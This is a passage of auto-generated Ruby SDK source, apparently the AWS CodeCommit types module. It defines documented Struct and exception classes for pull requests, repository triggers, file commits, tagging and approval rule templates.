:pull_request_created_event_metadata,
:pull_request_status_changed_event_metadata,
:pull_request_source_reference_updated_event_metadata,
:pull_request_merged_state_changed_event_metadata,
:approval_rule_event_metadata,
:approval_state_changed_event_metadata,
:approval_rule_overridden_event_metadata)
SENSITIVE = []
include Aws::Structure
end
# A pull request ID is required, but none was provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestIdRequiredException AWS API Documentation
#
class PullRequestIdRequiredException < Aws::EmptyStructure; end
# Returns information about the change in the merge state for a pull
# request event.
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] destination_reference
# The name of the branch that the pull request is merged into.
# @return [String]
#
# @!attribute [rw] merge_metadata
# Information about the merge state change event.
# @return [Types::MergeMetadata]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestMergedStateChangedEventMetadata AWS API Documentation
#
class PullRequestMergedStateChangedEventMetadata < Struct.new(
:repository_name,
:destination_reference,
:merge_metadata)
SENSITIVE = []
include Aws::Structure
end
# Information about an update to the source branch of a pull request.
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was updated.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit in the destination branch that was
# the tip of the branch at the time the pull request was updated.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit in the source branch that was the
# tip of the branch at the time the pull request was updated.
# @return [String]
#
# @!attribute [rw] merge_base
# The commit ID of the most recent commit that the source branch and
# the destination branch have in common.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestSourceReferenceUpdatedEventMetadata AWS API Documentation
#
class PullRequestSourceReferenceUpdatedEventMetadata < Struct.new(
:repository_name,
:before_commit_id,
:after_commit_id,
:merge_base)
SENSITIVE = []
include Aws::Structure
end
# Information about a change to the status of a pull request.
#
# @!attribute [rw] pull_request_status
# The changed status of the pull request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestStatusChangedEventMetadata AWS API Documentation
#
class PullRequestStatusChangedEventMetadata < Struct.new(
:pull_request_status)
SENSITIVE = []
include Aws::Structure
end
# A pull request status is required, but none was provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestStatusRequiredException AWS API Documentation
#
class PullRequestStatusRequiredException < Aws::EmptyStructure; end
# Returns information about a pull request target.
#
# @!attribute [rw] repository_name
# The name of the repository that contains the pull request source and
# destination branches.
# @return [String]
#
# @!attribute [rw] source_reference
# The branch of the repository that contains the changes for the pull
# request. Also known as the source branch.
# @return [String]
#
# @!attribute [rw] destination_reference
# The branch of the repository where the pull request changes are
# merged. Also known as the destination branch.
# @return [String]
#
# @!attribute [rw] destination_commit
# The full commit ID that is the tip of the destination branch. This
# is the commit where the pull request was or will be merged.
# @return [String]
#
# @!attribute [rw] source_commit
# The full commit ID of the tip of the source branch used to create
# the pull request. If the pull request branch is updated by a push
# while the pull request is open, the commit ID changes to reflect the
# new tip of the branch.
# @return [String]
#
# @!attribute [rw] merge_base
# The commit ID of the most recent commit that the source branch and
# the destination branch have in common.
# @return [String]
#
# @!attribute [rw] merge_metadata
# Returns metadata about the state of the merge, including whether the
# merge has been made.
# @return [Types::MergeMetadata]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestTarget AWS API Documentation
#
class PullRequestTarget < Struct.new(
:repository_name,
:source_reference,
:destination_reference,
:destination_commit,
:source_commit,
:merge_base,
:merge_metadata)
SENSITIVE = []
include Aws::Structure
end
# Information about a file added or updated as part of a commit.
#
# @note When making an API call, you may pass PutFileEntry
# data as a hash:
#
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# file_content: "data",
# source_file: {
# file_path: "Path", # required
# is_move: false,
# },
# }
#
# @!attribute [rw] file_path
# The full path to the file in the repository, including the name of
# the file.
# @return [String]
#
# @!attribute [rw] file_mode
# The extrapolated file mode permissions for the file. Valid values
# include EXECUTABLE and NORMAL.
# @return [String]
#
# @!attribute [rw] file_content
# The content of the file, if a source file is not specified.
# @return [String]
#
# @!attribute [rw] source_file
# The name and full path of the file that contains the changes you
# want to make as part of the commit, if you are not providing the
# file content directly.
# @return [Types::SourceFileSpecifier]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFileEntry AWS API Documentation
#
class PutFileEntry < Struct.new(
:file_path,
:file_mode,
:file_content,
:source_file)
SENSITIVE = []
include Aws::Structure
end
# The commit cannot be created because one or more files specified in
# the commit reference both a file and a folder.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFileEntryConflictException AWS API Documentation
#
class PutFileEntryConflictException < Aws::EmptyStructure; end
# @note When making an API call, you may pass PutFileInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# branch_name: "BranchName", # required
# file_content: "data", # required
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# parent_commit_id: "CommitId",
# commit_message: "Message",
# name: "Name",
# email: "Email",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to add or update the file.
# @return [String]
#
# @!attribute [rw] branch_name
# The name of the branch where you want to add or update the file. If
# this is an empty repository, this branch is created.
# @return [String]
#
# @!attribute [rw] file_content
# The content of the file, in binary object format.
# @return [String]
#
# @!attribute [rw] file_path
# The name of the file you want to add or update, including the
# relative path to the file in the repository.
#
# <note markdown="1"> If the path does not currently exist in the repository, the path is
# created as part of adding the file.
#
# </note>
# @return [String]
#
# @!attribute [rw] file_mode
# The file mode permissions of the blob. Valid file mode permissions
# are listed here.
# @return [String]
#
# @!attribute [rw] parent_commit_id
# The full commit ID of the head commit in the branch where you want
# to add or update the file. If this is an empty repository, no commit
# ID is required. If this is not an empty repository, a commit ID is
# required.
#
# The commit ID must match the ID of the head commit at the time of
# the operation. Otherwise, an error occurs, and the file is not added
# or updated.
# @return [String]
#
# @!attribute [rw] commit_message
# A message about why this file was added or updated. Although it is
# optional, a message makes the commit history for your repository
# more useful.
# @return [String]
#
# @!attribute [rw] name
# The name of the person adding or updating the file. Although it is
# optional, a name makes the commit history for your repository more
# useful.
# @return [String]
#
# @!attribute [rw] email
# An email address for the person adding or updating the file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFileInput AWS API Documentation
#
class PutFileInput < Struct.new(
:repository_name,
:branch_name,
:file_content,
:file_path,
:file_mode,
:parent_commit_id,
:commit_message,
:name,
:email)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The full SHA ID of the commit that contains this file change.
# @return [String]
#
# @!attribute [rw] blob_id
# The ID of the blob, which is its SHA-1 pointer.
# @return [String]
#
# @!attribute [rw] tree_id
# The full SHA-1 pointer of the tree information for the commit that
# contains this file change.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutFileOutput AWS API Documentation
#
class PutFileOutput < Struct.new(
:commit_id,
:blob_id,
:tree_id)
SENSITIVE = []
include Aws::Structure
end
# Represents the input of a put repository triggers operation.
#
# @note When making an API call, you may pass PutRepositoryTriggersInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# triggers: [ # required
# {
# name: "RepositoryTriggerName", # required
# destination_arn: "Arn", # required
# custom_data: "RepositoryTriggerCustomData",
# branches: ["BranchName"],
# events: ["all"], # required, accepts all, updateReference, createReference, deleteReference
# },
# ],
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to create or update the
# trigger.
# @return [String]
#
# @!attribute [rw] triggers
# The JSON block of configuration information for each trigger.
# @return [Array<Types::RepositoryTrigger>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutRepositoryTriggersInput AWS API Documentation
#
class PutRepositoryTriggersInput < Struct.new(
:repository_name,
:triggers)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a put repository triggers operation.
#
# @!attribute [rw] configuration_id
# The system-generated unique ID for the create or update operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PutRepositoryTriggersOutput AWS API Documentation
#
class PutRepositoryTriggersOutput < Struct.new(
:configuration_id)
SENSITIVE = []
include Aws::Structure
end
# The specified reference does not exist. You must provide a full commit
# ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReferenceDoesNotExistException AWS API Documentation
#
class ReferenceDoesNotExistException < Aws::EmptyStructure; end
# A reference name is required, but none was provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReferenceNameRequiredException AWS API Documentation
#
class ReferenceNameRequiredException < Aws::EmptyStructure; end
# The specified reference is not a supported type.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReferenceTypeNotSupportedException AWS API Documentation
#
class ReferenceTypeNotSupportedException < Aws::EmptyStructure; end
# Information about a replacement content entry in the conflict of a
# merge or pull request operation.
#
# @note When making an API call, you may pass ReplaceContentEntry
# data as a hash:
#
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# }
#
# @!attribute [rw] file_path
# The path of the conflicting file.
# @return [String]
#
# @!attribute [rw] replacement_type
# The replacement type to use when determining how to resolve the
# conflict.
# @return [String]
#
# @!attribute [rw] content
# The base-64 encoded content to use when the replacement type is
# USE\_NEW\_CONTENT.
# @return [String]
#
# @!attribute [rw] file_mode
# The file mode to apply during conflict resoltion.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReplaceContentEntry AWS API Documentation
#
class ReplaceContentEntry < Struct.new(
:file_path,
:replacement_type,
:content,
:file_mode)
SENSITIVE = []
include Aws::Structure
end
# USE\_NEW\_CONTENT was specified, but no replacement content has been
# provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReplacementContentRequiredException AWS API Documentation
#
class ReplacementContentRequiredException < Aws::EmptyStructure; end
# A replacement type is required.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ReplacementTypeRequiredException AWS API Documentation
#
class ReplacementTypeRequiredException < Aws::EmptyStructure; end
# The specified repository does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryDoesNotExistException AWS API Documentation
#
class RepositoryDoesNotExistException < Aws::EmptyStructure; end
# A repository resource limit was exceeded.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryLimitExceededException AWS API Documentation
#
class RepositoryLimitExceededException < Aws::EmptyStructure; end
# Information about a repository.
#
# @!attribute [rw] account_id
# The ID of the AWS account associated with the repository.
# @return [String]
#
# @!attribute [rw] repository_id
# The ID of the repository.
# @return [String]
#
# @!attribute [rw] repository_name
# The repository's name.
# @return [String]
#
# @!attribute [rw] repository_description
# A comment or description about the repository.
# @return [String]
#
# @!attribute [rw] default_branch
# The repository's default branch name.
# @return [String]
#
# @!attribute [rw] last_modified_date
# The date and time the repository was last modified, in timestamp
# format.
# @return [Time]
#
# @!attribute [rw] creation_date
# The date and time the repository was created, in timestamp format.
# @return [Time]
#
# @!attribute [rw] clone_url_http
# The URL to use for cloning the repository over HTTPS.
# @return [String]
#
# @!attribute [rw] clone_url_ssh
# The URL to use for cloning the repository over SSH.
# @return [String]
#
# @!attribute [rw] arn
# The Amazon Resource Name (ARN) of the repository.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryMetadata AWS API Documentation
#
class RepositoryMetadata < Struct.new(
:account_id,
:repository_id,
:repository_name,
:repository_description,
:default_branch,
:last_modified_date,
:creation_date,
:clone_url_http,
:clone_url_ssh,
:arn)
SENSITIVE = []
include Aws::Structure
end
# The specified repository name already exists.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryNameExistsException AWS API Documentation
#
class RepositoryNameExistsException < Aws::EmptyStructure; end
# Information about a repository name and ID.
#
# @!attribute [rw] repository_name
# The name associated with the repository.
# @return [String]
#
# @!attribute [rw] repository_id
# The ID associated with the repository.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryNameIdPair AWS API Documentation
#
class RepositoryNameIdPair < Struct.new(
:repository_name,
:repository_id)
SENSITIVE = []
include Aws::Structure
end
# A repository name is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryNameRequiredException AWS API Documentation
#
class RepositoryNameRequiredException < Aws::EmptyStructure; end
# At least one repository name object is required, but was not
# specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryNamesRequiredException AWS API Documentation
#
class RepositoryNamesRequiredException < Aws::EmptyStructure; end
# The repository does not contain any pull requests with that pull
# request ID. Use GetPullRequest to verify the correct repository name
# for the pull request ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryNotAssociatedWithPullRequestException AWS API Documentation
#
class RepositoryNotAssociatedWithPullRequestException < Aws::EmptyStructure; end
# Information about a trigger for a repository.
#
# @note When making an API call, you may pass RepositoryTrigger
# data as a hash:
#
# {
# name: "RepositoryTriggerName", # required
# destination_arn: "Arn", # required
# custom_data: "RepositoryTriggerCustomData",
# branches: ["BranchName"],
# events: ["all"], # required, accepts all, updateReference, createReference, deleteReference
# }
#
# @!attribute [rw] name
# The name of the trigger.
# @return [String]
#
# @!attribute [rw] destination_arn
# The ARN of the resource that is the target for a trigger (for
# example, the ARN of a topic in Amazon SNS).
# @return [String]
#
# @!attribute [rw] custom_data
# Any custom data associated with the trigger to be included in the
# information sent to the target of the trigger.
# @return [String]
#
# @!attribute [rw] branches
# The branches to be included in the trigger configuration. If you
# specify an empty array, the trigger applies to all branches.
#
# <note markdown="1"> Although no content is required in the array, you must include the
# array itself.
#
# </note>
# @return [Array<String>]
#
# @!attribute [rw] events
# The repository events that cause the trigger to run actions in
# another service, such as sending a notification through Amazon SNS.
#
# <note markdown="1"> The valid value "all" cannot be used with any other values.
#
# </note>
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTrigger AWS API Documentation
#
class RepositoryTrigger < Struct.new(
:name,
:destination_arn,
:custom_data,
:branches,
:events)
SENSITIVE = []
include Aws::Structure
end
# At least one branch name is required, but was not specified in the
# trigger configuration.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggerBranchNameListRequiredException AWS API Documentation
#
class RepositoryTriggerBranchNameListRequiredException < Aws::EmptyStructure; end
# A destination ARN for the target service for the trigger is required,
# but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggerDestinationArnRequiredException AWS API Documentation
#
class RepositoryTriggerDestinationArnRequiredException < Aws::EmptyStructure; end
# At least one event for the trigger is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggerEventsListRequiredException AWS API Documentation
#
class RepositoryTriggerEventsListRequiredException < Aws::EmptyStructure; end
# A trigger failed to run.
#
# @!attribute [rw] trigger
# The name of the trigger that did not run.
# @return [String]
#
# @!attribute [rw] failure_message
# Message information about the trigger that did not run.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggerExecutionFailure AWS API Documentation
#
class RepositoryTriggerExecutionFailure < Struct.new(
:trigger,
:failure_message)
SENSITIVE = []
include Aws::Structure
end
# A name for the trigger is required, but was not specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggerNameRequiredException AWS API Documentation
#
class RepositoryTriggerNameRequiredException < Aws::EmptyStructure; end
# The list of triggers for the repository is required, but was not
# specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RepositoryTriggersListRequiredException AWS API Documentation
#
class RepositoryTriggersListRequiredException < Aws::EmptyStructure; end
# A valid Amazon Resource Name (ARN) for an AWS CodeCommit resource is
# required. For a list of valid resources in AWS CodeCommit, see
# [CodeCommit Resources and Operations][1] in the AWS CodeCommit User
# Guide.
#
#
#
# [1]: https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control-iam-access-control-identity-based.html#arn-formats
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ResourceArnRequiredException AWS API Documentation
#
class ResourceArnRequiredException < Aws::EmptyStructure; end
# The commit cannot be created because one of the changes specifies
# copying or moving a .gitkeep file.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RestrictedSourceFileException AWS API Documentation
#
class RestrictedSourceFileException < Aws::EmptyStructure; end
# A revision ID is required, but was not provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RevisionIdRequiredException AWS API Documentation
#
class RevisionIdRequiredException < Aws::EmptyStructure; end
# The revision ID provided in the request does not match the current
# revision ID. Use GetPullRequest to retrieve the current revision ID.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/RevisionNotCurrentException AWS API Documentation
#
class RevisionNotCurrentException < Aws::EmptyStructure; end
# The file was not added or updated because the content of the file is
# exactly the same as the content of that file in the repository and
# branch that you specified.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SameFileContentException AWS API Documentation
#
class SameFileContentException < Aws::EmptyStructure; end
# The commit cannot be created because one or more changes in this
# commit duplicate actions in the same file path. For example, you
# cannot make the same delete request to the same file in the same file
# path twice, or make a delete request and a move request to the same
# file as part of the same commit.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SamePathRequestException AWS API Documentation
#
class SamePathRequestException < Aws::EmptyStructure; end
# Information about the file mode changes.
#
# @note When making an API call, you may pass SetFileModeEntry
# data as a hash:
#
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# }
#
# @!attribute [rw] file_path
# The full path to the file, including the name of the file.
# @return [String]
#
# @!attribute [rw] file_mode
# The file mode for the file.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SetFileModeEntry AWS API Documentation
#
class SetFileModeEntry < Struct.new(
:file_path,
:file_mode)
SENSITIVE = []
include Aws::Structure
end
# The source branch and destination branch for the pull request are the
# same. You must specify different branches for the source and
# destination.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SourceAndDestinationAreSameException AWS API Documentation
#
class SourceAndDestinationAreSameException < Aws::EmptyStructure; end
# The commit cannot be created because no source files or file content
# have been specified for the commit.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SourceFileOrContentRequiredException AWS API Documentation
#
class SourceFileOrContentRequiredException < Aws::EmptyStructure; end
# Information about a source file that is part of changes made in a
# commit.
#
# @note When making an API call, you may pass SourceFileSpecifier
# data as a hash:
#
# {
# file_path: "Path", # required
# is_move: false,
# }
#
# @!attribute [rw] file_path
# The full path to the file, including the name of the file.
# @return [String]
#
# @!attribute [rw] is_move
# Whether to remove the source file from the parent commit.
# @return [Boolean]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SourceFileSpecifier AWS API Documentation
#
class SourceFileSpecifier < Struct.new(
:file_path,
:is_move)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a submodule reference in a repository
# folder.
#
# @!attribute [rw] commit_id
# The commit ID that contains the reference to the submodule.
# @return [String]
#
# @!attribute [rw] absolute_path
# The fully qualified path to the folder that contains the reference
# to the submodule.
# @return [String]
#
# @!attribute [rw] relative_path
# The relative path of the submodule from the folder where the query
# originated.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SubModule AWS API Documentation
#
class SubModule < Struct.new(
:commit_id,
:absolute_path,
:relative_path)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a symbolic link in a repository folder.
#
# @!attribute [rw] blob_id
# The blob ID that contains the information about the symbolic link.
# @return [String]
#
# @!attribute [rw] absolute_path
# The fully qualified path to the folder that contains the symbolic
# link.
# @return [String]
#
# @!attribute [rw] relative_path
# The relative path of the symbolic link from the folder where the
# query originated.
# @return [String]
#
# @!attribute [rw] file_mode
# The file mode permissions of the blob that cotains information about
# the symbolic link.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/SymbolicLink AWS API Documentation
#
class SymbolicLink < Struct.new(
:blob_id,
:absolute_path,
:relative_path,
:file_mode)
SENSITIVE = []
include Aws::Structure
end
# A list of tag keys is required. The list cannot be empty or null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagKeysListRequiredException AWS API Documentation
#
class TagKeysListRequiredException < Aws::EmptyStructure; end
# The tag policy is not valid.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagPolicyException AWS API Documentation
#
class TagPolicyException < Aws::EmptyStructure; end
# @note When making an API call, you may pass TagResourceInput
# data as a hash:
#
# {
# resource_arn: "ResourceArn", # required
# tags: { # required
# "TagKey" => "TagValue",
# },
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the resource to which you want to
# add or update tags.
# @return [String]
#
# @!attribute [rw] tags
# The key-value pair to use when tagging this repository.
# @return [Hash<String,String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagResourceInput AWS API Documentation
#
class TagResourceInput < Struct.new(
:resource_arn,
:tags)
SENSITIVE = []
include Aws::Structure
end
# A map of tags is required.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TagsMapRequiredException AWS API Documentation
#
class TagsMapRequiredException < Aws::EmptyStructure; end
# Returns information about a target for a pull request.
#
# @note When making an API call, you may pass Target
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# source_reference: "ReferenceName", # required
# destination_reference: "ReferenceName",
# }
#
# @!attribute [rw] repository_name
# The name of the repository that contains the pull request.
# @return [String]
#
# @!attribute [rw] source_reference
# The branch of the repository that contains the changes for the pull
# request. Also known as the source branch.
# @return [String]
#
# @!attribute [rw] destination_reference
# The branch of the repository where the pull request changes are
# merged. Also known as the destination branch.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/Target AWS API Documentation
#
class Target < Struct.new(
:repository_name,
:source_reference,
:destination_reference)
SENSITIVE = []
include Aws::Structure
end
# A pull request target is required. It cannot be empty or null. A pull
# request target must contain the full values for the repository name,
# source branch, and destination branch for the pull request.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TargetRequiredException AWS API Documentation
#
class TargetRequiredException < Aws::EmptyStructure; end
# An array of target objects is required. It cannot be empty or null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TargetsRequiredException AWS API Documentation
#
class TargetsRequiredException < Aws::EmptyStructure; end
# Represents the input of a test repository triggers operation.
#
# @note When making an API call, you may pass TestRepositoryTriggersInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# triggers: [ # required
# {
# name: "RepositoryTriggerName", # required
# destination_arn: "Arn", # required
# custom_data: "RepositoryTriggerCustomData",
# branches: ["BranchName"],
# events: ["all"], # required, accepts all, updateReference, createReference, deleteReference
# },
# ],
# }
#
# @!attribute [rw] repository_name
# The name of the repository in which to test the triggers.
# @return [String]
#
# @!attribute [rw] triggers
# The list of triggers to test.
# @return [Array<Types::RepositoryTrigger>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TestRepositoryTriggersInput AWS API Documentation
#
class TestRepositoryTriggersInput < Struct.new(
:repository_name,
:triggers)
SENSITIVE = []
include Aws::Structure
end
# Represents the output of a test repository triggers operation.
#
# @!attribute [rw] successful_executions
# The list of triggers that were successfully tested. This list
# provides the names of the triggers that were successfully tested,
# separated by commas.
# @return [Array<String>]
#
# @!attribute [rw] failed_executions
# The list of triggers that were not tested. This list provides the
# names of the triggers that could not be tested, separated by commas.
# @return [Array<Types::RepositoryTriggerExecutionFailure>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TestRepositoryTriggersOutput AWS API Documentation
#
class TestRepositoryTriggersOutput < Struct.new(
:successful_executions,
:failed_executions)
SENSITIVE = []
include Aws::Structure
end
# The tip of the source branch in the destination repository does not
# match the tip of the source branch specified in your request. The pull
# request might have been updated. Make sure that you have the latest
# changes.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TipOfSourceReferenceIsDifferentException AWS API Documentation
#
class TipOfSourceReferenceIsDifferentException < Aws::EmptyStructure; end
# The divergence between the tips of the provided commit specifiers is
# too great to determine whether there might be any merge conflicts.
# Locally compare the specifiers using `git diff` or a diff tool.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TipsDivergenceExceededException AWS API Documentation
#
class TipsDivergenceExceededException < Aws::EmptyStructure; end
# A pull request title is required. It cannot be empty or null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TitleRequiredException AWS API Documentation
#
class TitleRequiredException < Aws::EmptyStructure; end
# The maximum number of tags for an AWS CodeCommit resource has been
# exceeded.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/TooManyTagsException AWS API Documentation
#
class TooManyTagsException < Aws::EmptyStructure; end
# @note When making an API call, you may pass UntagResourceInput
# data as a hash:
#
# {
# resource_arn: "ResourceArn", # required
# tag_keys: ["TagKey"], # required
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the resource to which you want to
# remove tags.
# @return [String]
#
# @!attribute [rw] tag_keys
# The tag key for each tag that you want to remove from the resource.
# @return [Array<String>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UntagResourceInput AWS API Documentation
#
class UntagResourceInput < Struct.new(
:resource_arn,
:tag_keys)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdateApprovalRuleTemplateContentInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# new_rule_content: "ApprovalRuleTemplateContent", # required
# existing_rule_content_sha_256: "RuleContentSha256",
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the approval rule template where you want to update the
# content of the rule.
# @return [String]
#
# @!attribute [rw] new_rule_content
# The content that replaces the existing content of the rule. Content
# statements must be complete. You cannot provide only the changes.
# @return [String]
#
# @!attribute [rw] existing_rule_content_sha_256
# The SHA-256 hash signature for the content of the approval rule. You
# can retrieve this information by using GetPullRequest.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateContentInput AWS API Documentation
#
class UpdateApprovalRuleTemplateContentInput < Struct.new(
:approval_rule_template_name,
:new_rule_content,
:existing_rule_content_sha_256)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template
# Returns information about an approval rule template.
# @return [Types::ApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateContentOutput AWS API Documentation
#
class UpdateApprovalRuleTemplateContentOutput < Struct.new(
:approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdateApprovalRuleTemplateDescriptionInput
# data as a hash:
#
# {
# approval_rule_template_name: "ApprovalRuleTemplateName", # required
# approval_rule_template_description: "ApprovalRuleTemplateDescription", # required
# }
#
# @!attribute [rw] approval_rule_template_name
# The name of the template for which you want to update the
# description.
# @return [String]
#
# @!attribute [rw] approval_rule_template_description
# The updated description of the approval rule template.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateDescriptionInput AWS API Documentation
#
class UpdateApprovalRuleTemplateDescriptionInput < Struct.new(
:approval_rule_template_name,
:approval_rule_template_description)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template
# The structure and content of the updated approval rule template.
# @return [Types::ApprovalRuleTemplate]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateDescriptionOutput AWS API Documentation
#
class UpdateApprovalRuleTemplateDescriptionOutput < Struct.new(
:approval_rule_template)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass UpdateApprovalRuleTemplateNameInput
# data as a hash:
#
# {
# old_approval_rule_template_name: "ApprovalRuleTemplateName", # required
# new_approval_rule_template_name: "ApprovalRuleTemplateName", # required
# }
#
# @!attribute [rw] old_approval_rule_template_name
# The current name of the approval rule template.
# @return [String]
#
# @!attribute [rw] new_approval_rule_template_name
# The new name you want to apply to the approval rule template.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/UpdateApprovalRuleTemplateNameInput AWS API Documentation
#
class UpdateApprovalRuleTemplateNameInput < Struct.new(
:old_approval_rule_template_name,
:new_approval_rule_template_name)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] approval_rule_template
# The structure and content of the updated approval rule template.
